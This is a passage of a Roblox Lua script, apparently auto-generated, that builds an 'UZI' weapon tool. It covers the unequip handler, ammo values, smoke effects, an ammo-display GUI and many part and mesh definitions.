  1687. Torso["Right Shoulder"].Part1 = nil
  1688. Left_Weld = Instance.new("Weld", Torso)
  1689. Left_Weld.Name = "Left_Weld"
  1690. Left_Weld.Part0 = Character.Head
  1691. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1692. if not Settings.OneHanded then
  1693. Torso["Left Shoulder"].Part1 = nil
  1694. Left_Weld.Part1 = Character["Left Arm"]
  1695. end
  1696. Right_Weld = Instance.new("Weld", Torso)
  1697. Right_Weld.Name = "Right_Weld"
  1698. Right_Weld.Part0 = Character.Head
  1699. Right_Weld.Part1 = Character["Right Arm"]
  1700. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1701. Left_Weld.C1 = Settings.LeftPos
  1702. Right_Weld.C1 = Settings.RightPos
  1703. end
  1704. if Settings.FakeArms and not Fake_Arm_Right then
  1705. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  1706. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  1707. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  1708. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  1709. for i = 1, 2 do
  1710. local w = Instance.new("Weld", fakeArms[i])
  1711. w.Part0 = Character[fakeArms[i].Name]
  1712. w.Part1 = fakeArms[i]
  1713. fakeArms[i].Transparency = Settings.FakeArmTransparency
  1714. end
  1715. Fake_Arm_Model = Instance.new("Model", Camera)
  1716. Fake_Arm_Right.Parent = Fake_Arm_Model
  1717. if not Settings.OneHanded then
  1718. Fake_Arm_Left.Parent = Fake_Arm_Model
  1719. end
  1720. Fake_Arm_Model.Name = "FakeArms"
  1721. if Settings.CharacterMeshes then
  1722. for i, v in pairs(Character:GetChildren()) do
  1723. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  1724. v:Clone().Parent = Fake_Arm_Model
  1725. end
  1726. end
  1727. end
  1728. if Character:FindFirstChild("Shirt") then
  1729. Instance.new("Humanoid", Fake_Arm_Model)
  1730. Character.Shirt:Clone().Parent = Fake_Arm_Model
  1731. else
  1732. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  1733. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  1734. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  1735. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  1736. end
  1737. end
  1738. end)
  1739.  
  1740. Tool.Unequipped:connect(function()
  1741. Equipped = false
  1742. Tool.GripPos = Orig_Grip
  1743. Aiming = false
  1744. Settings.Spread = Orig_Spread
  1745. if Settings.ChangeFOV[1] then
  1746. Camera.FieldOfView = 70
  1747. end
  1748. if Gui then
  1749. Gui:Destroy()
  1750. Gui = nil
  1751. end
  1752. for i, v in pairs(Tool.Handle:GetChildren()) do
  1753. if v:IsA("Sound") then
  1754. v:Stop()
  1755. end
  1756. end
  1757. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  1758. Fake_Arm_Model:Destroy()
  1759. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  1760. end
  1761. if Character and Left_Weld and Right_Weld then
  1762. Arms_Made = false
  1763. local Torso = Character.Torso
  1764. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  1765. Left_Weld:Destroy()
  1766. Right_Weld:Destroy()
  1767. end
  1768. Sprinting = false
  1769. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1770. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1771. Character.Humanoid.WalkSpeed = 16
  1772. end)
  1773.  
  1774. end))
  1775. NumberValue2.Name = "Ammo"
  1776. NumberValue2.Parent = LocalScript1
  1777. NumberValue2.Value = 30
  1778. NumberValue3.Name = "StoredAmmo"
  1779. NumberValue3.Parent = LocalScript1
  1780. NumberValue3.Value = 1000
  1781. Smoke4.Parent = LocalScript1
  1782. Smoke4.Size = 0.25
  1783. Smoke4.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1784. Smoke4.Enabled = false
  1785. Smoke4.Opacity = 0.10000000149012
  1786. Smoke4.RiseVelocity = 10
  1787. Smoke4.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1788. Smoke5.Name = "Smoke1"
  1789. Smoke5.Parent = LocalScript1
  1790. Smoke5.Size = 0.10000000149012
  1791. Smoke5.Color = Color3.new(1, 0.6, 0.2)
  1792. Smoke5.Enabled = false
  1793. Smoke5.Opacity = 0.40000000596046
  1794. Smoke5.RiseVelocity = 3
  1795. Smoke5.Color = Color3.new(1, 0.6, 0.2)
  1796. ScreenGui6.Name = "Gui"
  1797. ScreenGui6.Parent = LocalScript1
  1798. Frame7.Parent = ScreenGui6
  1799. Frame7.Transparency = 0.5
  1800. Frame7.Size = UDim2.new(0, 120, 0, 35)
  1801. Frame7.Position = UDim2.new(1, -150, 1, -44)
  1802. Frame7.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1803. Frame7.BackgroundTransparency = 0.5
  1804. Frame7.BorderSizePixel = 3
  1805. TextLabel8.Name = "AmmoDisplay"
  1806. TextLabel8.Parent = Frame7
  1807. TextLabel8.Transparency = 1
  1808. TextLabel8.Size = UDim2.new(1, 0, 1, 0)
  1809. TextLabel8.Text = ""
  1810. TextLabel8.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1811. TextLabel8.BackgroundTransparency = 1
  1812. TextLabel8.Font = Enum.Font.SourceSansBold
  1813. TextLabel8.FontSize = Enum.FontSize.Size24
  1814. TextLabel8.TextColor3 = Color3.new(0, 0, 0)
  1815. TextLabel8.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1816. TextLabel8.TextStrokeTransparency = 0.5
  1817. TextLabel8.TextXAlignment = Enum.TextXAlignment.Right
  1818. Frame9.Parent = ScreenGui6
  1819. Frame9.Transparency = 0.5
  1820. Frame9.Size = UDim2.new(0, 126, 0, 10)
  1821. Frame9.Position = UDim2.new(1, -153, 1, -62)
  1822. Frame9.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1823. Frame9.BackgroundTransparency = 0.5
  1824. Frame9.BorderSizePixel = 3
  1825. TextLabel10.Name = "Caliber"
  1826. TextLabel10.Parent = Frame9
  1827. TextLabel10.Transparency = 1
  1828. TextLabel10.Size = UDim2.new(1, 0, 1, 0)
  1829. TextLabel10.Text = "Made by 1ndrew"
  1830. TextLabel10.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1831. TextLabel10.BackgroundTransparency = 1
  1832. TextLabel10.Font = Enum.Font.SourceSansBold
  1833. TextLabel10.FontSize = Enum.FontSize.Size12
  1834. TextLabel10.TextColor3 = Color3.new(0, 0, 0)
  1835. TextLabel10.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1836. TextLabel10.TextStrokeTransparency = 0.5
  1837. TextLabel10.TextXAlignment = Enum.TextXAlignment.Right
  1838. Frame11.Parent = ScreenGui6
  1839. Frame11.Transparency = 0.5
  1840. Frame11.Size = UDim2.new(0, 126, 0, 40)
  1841. Frame11.Position = UDim2.new(1, -153, 1, -109)
  1842. Frame11.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1843. Frame11.BackgroundTransparency = 0.5
  1844. Frame11.BorderSizePixel = 3
  1845. TextLabel12.Name = "Accessories"
  1846. TextLabel12.Parent = Frame11
  1847. TextLabel12.Transparency = 1
  1848. TextLabel12.Size = UDim2.new(1, 0, 1, 0)
  1849. TextLabel12.Text = "UZI"
  1850. TextLabel12.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1851. TextLabel12.BackgroundTransparency = 1
  1852. TextLabel12.Font = Enum.Font.SourceSansBold
  1853. TextLabel12.FontSize = Enum.FontSize.Size14
  1854. TextLabel12.TextColor3 = Color3.new(0, 0, 0)
  1855. TextLabel12.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1856. TextLabel12.TextStrokeTransparency = 0.5
  1857. TextLabel12.TextXAlignment = Enum.TextXAlignment.Right
  1858. Part13.Name = "A1"
  1859. Part13.Parent = Tool0
  1860. Part13.Material = Enum.Material.Metal
  1861. Part13.Rotation = Vector3.new(-90, 0, 90)
  1862. Part13.Anchored = true
  1863. Part13.FormFactor = Enum.FormFactor.Custom
  1864. Part13.Size = Vector3.new(0.200000003, 0.333333194, 0.200000003)
  1865. Part13.CFrame = CFrame.new(144.445755, 3.96316195, 144.39093, 0, -1.00000012, -4.47034836e-08, 0, -4.47034836e-08, 1.00000012, -1, 0, -0)
  1866. Part13.BottomSurface = Enum.SurfaceType.Smooth
  1867. Part13.TopSurface = Enum.SurfaceType.Smooth
  1868. Part13.Position = Vector3.new(144.445755, 3.96316195, 144.39093)
  1869. Part13.Orientation = Vector3.new(-90, 90, 0)
  1870. BlockMesh14.Parent = Part13
  1871. BlockMesh14.Scale = Vector3.new(0.333333164, 1, 0.333333343)
  1872. BlockMesh14.Scale = Vector3.new(0.333333164, 1, 0.333333343)
  1873. Part15.Name = "A2"
  1874. Part15.Parent = Tool0
  1875. Part15.Material = Enum.Material.Metal
  1876. Part15.Rotation = Vector3.new(-90, 0, 90)
  1877. Part15.Anchored = true
  1878. Part15.FormFactor = Enum.FormFactor.Custom
  1879. Part15.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1880. Part15.CFrame = CFrame.new(144.512421, 3.99983001, 144.39093, 0, -1.00000012, -4.47034836e-08, 0, -4.47034836e-08, 1.00000012, -1, 0, -0)
  1881. Part15.BottomSurface = Enum.SurfaceType.Smooth
  1882. Part15.TopSurface = Enum.SurfaceType.Smooth
  1883. Part15.Position = Vector3.new(144.512421, 3.99983001, 144.39093)
  1884. Part15.Orientation = Vector3.new(-90, 90, 0)
  1885. BlockMesh16.Parent = Part15
  1886. BlockMesh16.Scale = Vector3.new(0.333333164, 0.333332688, 0.300000012)
  1887. BlockMesh16.Scale = Vector3.new(0.333333164, 0.333332688, 0.300000012)
  1888. Part17.Name = "A3"
  1889. Part17.Parent = Tool0
  1890. Part17.Material = Enum.Material.Metal
  1891. Part17.Rotation = Vector3.new(45.0099983, 0, 89.9899979)
  1892. Part17.Anchored = true
  1893. Part17.FormFactor = Enum.FormFactor.Custom
  1894. Part17.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1895. Part17.CFrame = CFrame.new(144.512421, 4.01983023, 144.417603, 0.000121635676, -1, 3.26611735e-05, 0.706995547, 6.28973139e-05, -0.707217932, 0.707217932, 0.000109106302, 0.706995547)
  1896. Part17.BottomSurface = Enum.SurfaceType.Smooth
  1897. Part17.TopSurface = Enum.SurfaceType.Smooth
  1898. Part17.Position = Vector3.new(144.512421, 4.01983023, 144.417603)
  1899. Part17.Orientation = Vector3.new(45.0099983, 0, 89.9899979)
  1900. BlockMesh18.Parent = Part17
  1901. BlockMesh18.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1902. BlockMesh18.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1903. Part19.Name = "A4"
  1904. Part19.Parent = Tool0
  1905. Part19.Material = Enum.Material.Metal
  1906. Part19.Rotation = Vector3.new(0.00999999978, 0.00999999978, 90)
  1907. Part19.Anchored = true
  1908. Part19.FormFactor = Enum.FormFactor.Custom
  1909. Part19.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1910. Part19.CFrame = CFrame.new(144.512436, 4.04811382, 144.431747, 5.03872361e-05, -1, 0.000121629339, 1, 5.0371953e-05, -0.0001257658, 0.0001257658, 0.00012163569, 1)
  1911. Part19.BottomSurface = Enum.SurfaceType.Smooth
  1912. Part19.TopSurface = Enum.SurfaceType.Smooth
  1913. Part19.Position = Vector3.new(144.512436, 4.04811382, 144.431747)
  1914. Part19.Orientation = Vector3.new(0.00999999978, 0.00999999978, 90)
  1915. BlockMesh20.Parent = Part19
  1916. BlockMesh20.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1917. BlockMesh20.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1918. Part21.Name = "A5"
  1919. Part21.Parent = Tool0
  1920. Part21.Material = Enum.Material.Metal
  1921. Part21.Rotation = Vector3.new(135.009995, -0.00999999978, 90)
  1922. Part21.Anchored = true
  1923. Part21.FormFactor = Enum.FormFactor.Custom
  1924. Part21.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1925. Part21.CFrame = CFrame.new(144.512421, 4.0198288, 144.364273, 3.26688423e-05, -1, -0.000121633653, -0.707173347, 6.28973139e-05, -0.70704025, 0.70704025, 0.000109106302, -0.707173347)
  1926. Part21.BottomSurface = Enum.SurfaceType.Smooth
  1927. Part21.TopSurface = Enum.SurfaceType.Smooth
  1928. Part21.Position = Vector3.new(144.512421, 4.0198288, 144.364273)
  1929. Part21.Orientation = Vector3.new(44.9899979, -179.98999, -89.9899979)
  1930. BlockMesh22.Parent = Part21
  1931. BlockMesh22.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1932. BlockMesh22.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1933. Part23.Name = "A6"
  1934. Part23.Parent = Tool0
  1935. Part23.Material = Enum.Material.Metal
  1936. Part23.Rotation = Vector3.new(-179.98999, -0.00999999978, 90)
  1937. Part23.Anchored = true
  1938. Part23.FormFactor = Enum.FormFactor.Custom
  1939. Part23.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1940. Part23.CFrame = CFrame.new(144.512421, 4.04811382, 144.350128, -5.03345073e-05, -1.00000012, -0.000121683712, -1.00000024, 5.03659248e-05, 0.0001257658, -0.000125557184, 0.000121548772, -1.00000024)
  1941. Part23.BottomSurface = Enum.SurfaceType.Smooth
  1942. Part23.TopSurface = Enum.SurfaceType.Smooth
  1943. Part23.Position = Vector3.new(144.512421, 4.04811382, 144.350128)
  1944. Part23.Orientation = Vector3.new(-0.00999999978, -179.98999, -90)
  1945. BlockMesh24.Parent = Part23
  1946. BlockMesh24.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1947. BlockMesh24.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1948. Part25.Name = "B1"
  1949. Part25.Parent = Tool0
  1950. Part25.Material = Enum.Material.Metal
  1951. Part25.Rotation = Vector3.new(-90, 0, 90)
  1952. Part25.Anchored = true
  1953. Part25.FormFactor = Enum.FormFactor.Custom
  1954. Part25.Size = Vector3.new(0.200000003, 0.233333394, 0.200000003)
  1955. Part25.CFrame = CFrame.new(143.969604, 3.896559, 144.437607, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  1956. Part25.BottomSurface = Enum.SurfaceType.Smooth
  1957. Part25.TopSurface = Enum.SurfaceType.Smooth
  1958. Part25.Position = Vector3.new(143.969604, 3.896559, 144.437607)
  1959. Part25.Orientation = Vector3.new(-90, 90, 0)
  1960. BlockMesh26.Parent = Part25
  1961. BlockMesh26.Scale = Vector3.new(0.533333302, 1, 0.799999893)
  1962. BlockMesh26.Scale = Vector3.new(0.533333302, 1, 0.799999893)
  1963. Part27.Name = "SmokePart"
  1964. Part27.Parent = Tool0
  1965. Part27.Material = Enum.Material.Metal
  1966. Part27.BrickColor = BrickColor.new("Bright orange")
  1967. Part27.Transparency = 1
  1968. Part27.Rotation = Vector3.new(-90, 0, -90)
  1969. Part27.Anchored = true
  1970. Part27.FormFactor = Enum.FormFactor.Custom
  1971. Part27.Size = Vector3.new(0.200000003, 0.500000119, 0.233333305)
  1972. Part27.CFrame = CFrame.new(145.96965, 3.83471799, 144.39093, 0, 1.00000083, 1.49011612e-08, 0, -1.49011612e-08, 1.00000083, 1, 0, 0)
  1973. Part27.BottomSurface = Enum.SurfaceType.Smooth
  1974. Part27.TopSurface = Enum.SurfaceType.Smooth
  1975. Part27.Color = Color3.new(0.854902, 0.521569, 0.254902)
  1976. Part27.Position = Vector3.new(145.96965, 3.83471799, 144.39093)
  1977. Part27.Orientation = Vector3.new(-90, -90, 0)
  1978. Part27.Color = Color3.new(0.854902, 0.521569, 0.254902)
  1979. SpecialMesh28.Parent = Part27
  1980. SpecialMesh28.Scale = Vector3.new(1.99999976, 2, 2)
  1981. SpecialMesh28.MeshType = Enum.MeshType.Sphere
  1982. SpecialMesh28.Scale = Vector3.new(1.99999976, 2, 2)
  1983. Smoke29.Parent = Part27
  1984. Smoke29.Color = Color3.new(0.2, 0.2, 0.2)
  1985. Smoke29.Enabled = false
  1986. Smoke29.RiseVelocity = 2
  1987. Smoke29.Color = Color3.new(0.2, 0.2, 0.2)
  1988. Part30.Name = "hello"
  1989. Part30.Parent = Tool0
  1990. Part30.Material = Enum.Material.Metal
  1991. Part30.BrickColor = BrickColor.new("Dark stone grey")
  1992. Part30.Rotation = Vector3.new(0, -90, 0)
  1993. Part30.Anchored = true
  1994. Part30.FormFactor = Enum.FormFactor.Custom
  1995. Part30.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1996. Part30.CFrame = CFrame.new(144.086899, 3.66545701, 144.39093, 0, 6.29127026e-05, -1, 0, 1, 6.29127026e-05, 1, 0, -0)
  1997. Part30.BottomSurface = Enum.SurfaceType.Smooth
  1998. Part30.TopSurface = Enum.SurfaceType.Smooth
  1999. Part30.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2000. Part30.Position = Vector3.new(144.086899, 3.66545701, 144.39093)
  2001. Part30.Orientation = Vector3.new(0, -90, 0)
  2002. Part30.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2003. BlockMesh31.Parent = Part30
  2004. BlockMesh31.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  2005. BlockMesh31.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  2006. Sound32.Name = "M2"
  2007. Sound32.Parent = Part30
  2008. Sound32.SoundId = "http://roblox.com/asset/?id=10209636"
  2009. Sound32.Volume = 1
  2010. Sound32.PlayOnRemove = true
  2011. Sound33.Name = "M3"
  2012. Sound33.Parent = Part30
  2013. Sound33.Pitch = 2
  2014. Sound33.SoundId = "http://roblox.com/asset/?id=10209834"
  2015. Sound33.Volume = 1
  2016. Sound33.PlayOnRemove = true
  2017. Sound34.Name = "M4"
  2018. Sound34.Parent = Part30
  2019. Sound34.Pitch = 3
  2020. Sound34.SoundId = "http://roblox.com/asset/?id=10209834"
  2021. Sound34.Volume = 1
  2022. Sound34.PlayOnRemove = true
  2023. Sound35.Name = "M1"
  2024. Sound35.Parent = Part30
  2025. Sound35.Pitch = 0.75
  2026. Sound35.SoundId = "http://roblox.com/asset/?id=10209834"
  2027. Sound35.Volume = 1
  2028. Sound35.PlayOnRemove = true
  2029. Sound36.Name = "Fire"
  2030. Sound36.Parent = Part30
  2031. Sound36.Pitch = 2
  2032. Sound36.SoundId = "http://www.roblox.com/asset/?id=2692477"
  2033. Sound36.Volume = 1
  2034. Part37.Name = "Mag"
  2035. Part37.Parent = Tool0
  2036. Part37.Material = Enum.Material.Metal
  2037. Part37.BrickColor = BrickColor.new("Dark stone grey")
  2038. Part37.Rotation = Vector3.new(90, 0, -90)
  2039. Part37.Anchored = true
  2040. Part37.FormFactor = Enum.FormFactor.Symmetric
  2041. Part37.Size = Vector3.new(1, 1, 1)
  2042. Part37.CFrame = CFrame.new(143.899948, 2.94755912, 144.387604, 0, 1.00000036, -6.29723072e-05, 0, -6.29723072e-05, -1.00000036, -1, 0, 0)
  2043. Part37.BottomSurface = Enum.SurfaceType.Smooth
  2044. Part37.TopSurface = Enum.SurfaceType.Smooth
  2045. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2046. Part37.Position = Vector3.new(143.899948, 2.94755912, 144.387604)
  2047. Part37.Orientation = Vector3.new(90, 90, 0)
  2048. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2049. Decal38.Parent = Part37
  2050. Decal38.Texture = "http://www.roblox.com/asset/?id=47760372"
  2051. BlockMesh39.Parent = Part37
  2052. BlockMesh39.Scale = Vector3.new(0.119999997, 0.166666672, 0.833333313)
  2053. BlockMesh39.Scale = Vector3.new(0.119999997, 0.166666672, 0.833333313)
  2054. Part40.Name = "Mag2"
  2055. Part40.Parent = Tool0
  2056. Part40.Material = Enum.Material.Metal
  2057. Part40.BrickColor = BrickColor.new("Dark stone grey")
  2058. Part40.Rotation = Vector3.new(0, 90, 0)
  2059. Part40.Anchored = true
  2060. Part40.FormFactor = Enum.FormFactor.Custom
  2061. Part40.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2062. Part40.CFrame = CFrame.new(143.90387, 2.525805, 144.387604, 0, 0.000188827515, 1, 0, 1, -0.000188827515, -1, 0, 0)
  2063. Part40.BottomSurface = Enum.SurfaceType.Smooth
  2064. Part40.TopSurface = Enum.SurfaceType.Smooth
  2065. Part40.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2066. Part40.Position = Vector3.new(143.90387, 2.525805, 144.387604)
  2067. Part40.Orientation = Vector3.new(0.00999999978, 90, 0)
  2068. Part40.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2069. BlockMesh41.Parent = Part40
  2070. BlockMesh41.Scale = Vector3.new(0.666666687, 0.0666665584, 0.900000572)
  2071. BlockMesh41.Scale = Vector3.new(0.666666687, 0.0666665584, 0.900000572)
  2072. Part42.Parent = Tool0
  2073. Part42.Material = Enum.Material.Metal
  2074. Part42.BrickColor = BrickColor.new("Dark stone grey")
  2075. Part42.Rotation = Vector3.new(90, 0, -180)
  2076. Part42.Anchored = true
  2077. Part42.FormFactor = Enum.FormFactor.Custom
  2078. Part42.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2079. Part42.CFrame = CFrame.new(143.302933, 4.00991011, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2080. Part42.BottomSurface = Enum.SurfaceType.Smooth
  2081. Part42.TopSurface = Enum.SurfaceType.Smooth
  2082. Part42.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2083. Part42.Position = Vector3.new(143.302933, 4.00991011, 144.444275)
  2084. Part42.Orientation = Vector3.new(90, 180, 0)
  2085. Part42.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2086. BlockMesh43.Parent = Part42
  2087. BlockMesh43.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  2088. BlockMesh43.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  2089. Part44.Parent = Tool0
  2090. Part44.Material = Enum.Material.Metal
  2091. Part44.BrickColor = BrickColor.new("Dark stone grey")
  2092. Part44.Rotation = Vector3.new(90, 0, -180)
  2093. Part44.Anchored = true
  2094. Part44.FormFactor = Enum.FormFactor.Custom
  2095. Part44.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2096. Part44.CFrame = CFrame.new(143.206268, 4.00991011, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2097. Part44.BottomSurface = Enum.SurfaceType.Smooth
  2098. Part44.TopSurface = Enum.SurfaceType.Smooth
  2099. Part44.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2100. Part44.Position = Vector3.new(143.206268, 4.00991011, 144.337601)
  2101. Part44.Orientation = Vector3.new(90, 180, 0)
  2102. Part44.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2103. BlockMesh45.Parent = Part44
  2104. BlockMesh45.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  2105. BlockMesh45.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  2106. Part46.Parent = Tool0
  2107. Part46.Material = Enum.Material.Metal
  2108. Part46.BrickColor = BrickColor.new("Dark stone grey")
  2109. Part46.Rotation = Vector3.new(90, 0, -180)
  2110. Part46.Anchored = true
  2111. Part46.FormFactor = Enum.FormFactor.Custom
  2112. Part46.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2113. Part46.CFrame = CFrame.new(143.219604, 4.02658176, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2114. Part46.BottomSurface = Enum.SurfaceType.Smooth
  2115. Part46.TopSurface = Enum.SurfaceType.Smooth
  2116. Part46.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2117. Part46.Position = Vector3.new(143.219604, 4.02658176, 144.457596)
  2118. Part46.Orientation = Vector3.new(90, 180, 0)
  2119. Part46.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2120. CylinderMesh47.Parent = Part46
  2121. CylinderMesh47.Scale = Vector3.new(30, 0.0666662827, 1)
  2122. CylinderMesh47.Scale = Vector3.new(30, 0.0666662827, 1)
  2123. Part48.Parent = Tool0
  2124. Part48.Material = Enum.Material.Metal
  2125. Part48.BrickColor = BrickColor.new("Black")
  2126. Part48.Rotation = Vector3.new(-90, -90, 0)
  2127. Part48.Anchored = true
  2128. Part48.FormFactor = Enum.FormFactor.Custom
  2129. Part48.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2130. Part48.CFrame = CFrame.new(144.409607, 3.79657793, 144.500931, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2131. Part48.BottomSurface = Enum.SurfaceType.Smooth
  2132. Part48.TopSurface = Enum.SurfaceType.Smooth
  2133. Part48.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2134. Part48.Position = Vector3.new(144.409607, 3.79657793, 144.500931)
  2135. Part48.Orientation = Vector3.new(0, -90, 90)
  2136. Part48.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2137. BlockMesh49.Parent = Part48
  2138. BlockMesh49.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  2139. BlockMesh49.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  2140. Part50.Parent = Tool0
  2141. Part50.Material = Enum.Material.Metal
  2142. Part50.BrickColor = BrickColor.new("Dark stone grey")
  2143. Part50.Rotation = Vector3.new(90, 0, -180)
  2144. Part50.Anchored = true
  2145. Part50.FormFactor = Enum.FormFactor.Custom
  2146. Part50.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2147. Part50.CFrame = CFrame.new(144.866272, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2148. Part50.BottomSurface = Enum.SurfaceType.Smooth
  2149. Part50.TopSurface = Enum.SurfaceType.Smooth
  2150. Part50.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2151. Part50.Position = Vector3.new(144.866272, 4.00324106, 144.337601)
  2152. Part50.Orientation = Vector3.new(90, 180, 0)
  2153. Part50.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2154. BlockMesh51.Parent = Part50
  2155. BlockMesh51.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  2156. BlockMesh51.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  2157. Part52.Parent = Tool0
  2158. Part52.Material = Enum.Material.Metal
  2159. Part52.BrickColor = BrickColor.new("Dark stone grey")
  2160. Part52.Rotation = Vector3.new(90, 0, -180)
  2161. Part52.Anchored = true
  2162. Part52.FormFactor = Enum.FormFactor.Custom
  2163. Part52.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2164. Part52.CFrame = CFrame.new(143.222946, 4.0732379, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2165. Part52.BottomSurface = Enum.SurfaceType.Smooth
  2166. Part52.TopSurface = Enum.SurfaceType.Smooth
  2167. Part52.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2168. Part52.Position = Vector3.new(143.222946, 4.0732379, 144.370956)
  2169. Part52.Orientation = Vector3.new(90, 180, 0)
  2170. Part52.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2171. BlockMesh53.Parent = Part52
  2172. BlockMesh53.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  2173. BlockMesh53.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  2174. Part54.Parent = Tool0
  2175. Part54.Material = Enum.Material.Metal
  2176. Part54.BrickColor = BrickColor.new("Black")
  2177. Part54.Rotation = Vector3.new(90, 0, -180)
  2178. Part54.Anchored = true
  2179. Part54.FormFactor = Enum.FormFactor.Custom
  2180. Part54.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2181. Part54.CFrame = CFrame.new(143.082932, 3.926579, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2182. Part54.BottomSurface = Enum.SurfaceType.Smooth
  2183. Part54.TopSurface = Enum.SurfaceType.Smooth
  2184. Part54.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2185. Part54.Position = Vector3.new(143.082932, 3.926579, 144.387604)
  2186. Part54.Orientation = Vector3.new(90, 180, 0)
  2187. Part54.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2188. CylinderMesh55.Parent = Part54
  2189. CylinderMesh55.Scale = Vector3.new(0.366666675, 0.733333051, 0.366666675)
  2190. CylinderMesh55.Scale = Vector3.new(0.366666675, 0.733333051, 0.366666675)
  2191. Part56.Parent = Tool0
  2192. Part56.Material = Enum.Material.Metal
  2193. Part56.BrickColor = BrickColor.new("Dark stone grey")
  2194. Part56.Rotation = Vector3.new(-90, 0, 90)
  2195. Part56.Anchored = true
  2196. Part56.FormFactor = Enum.FormFactor.Custom
  2197. Part56.Size = Vector3.new(0.200000003, 0.906666636, 0.200000003)
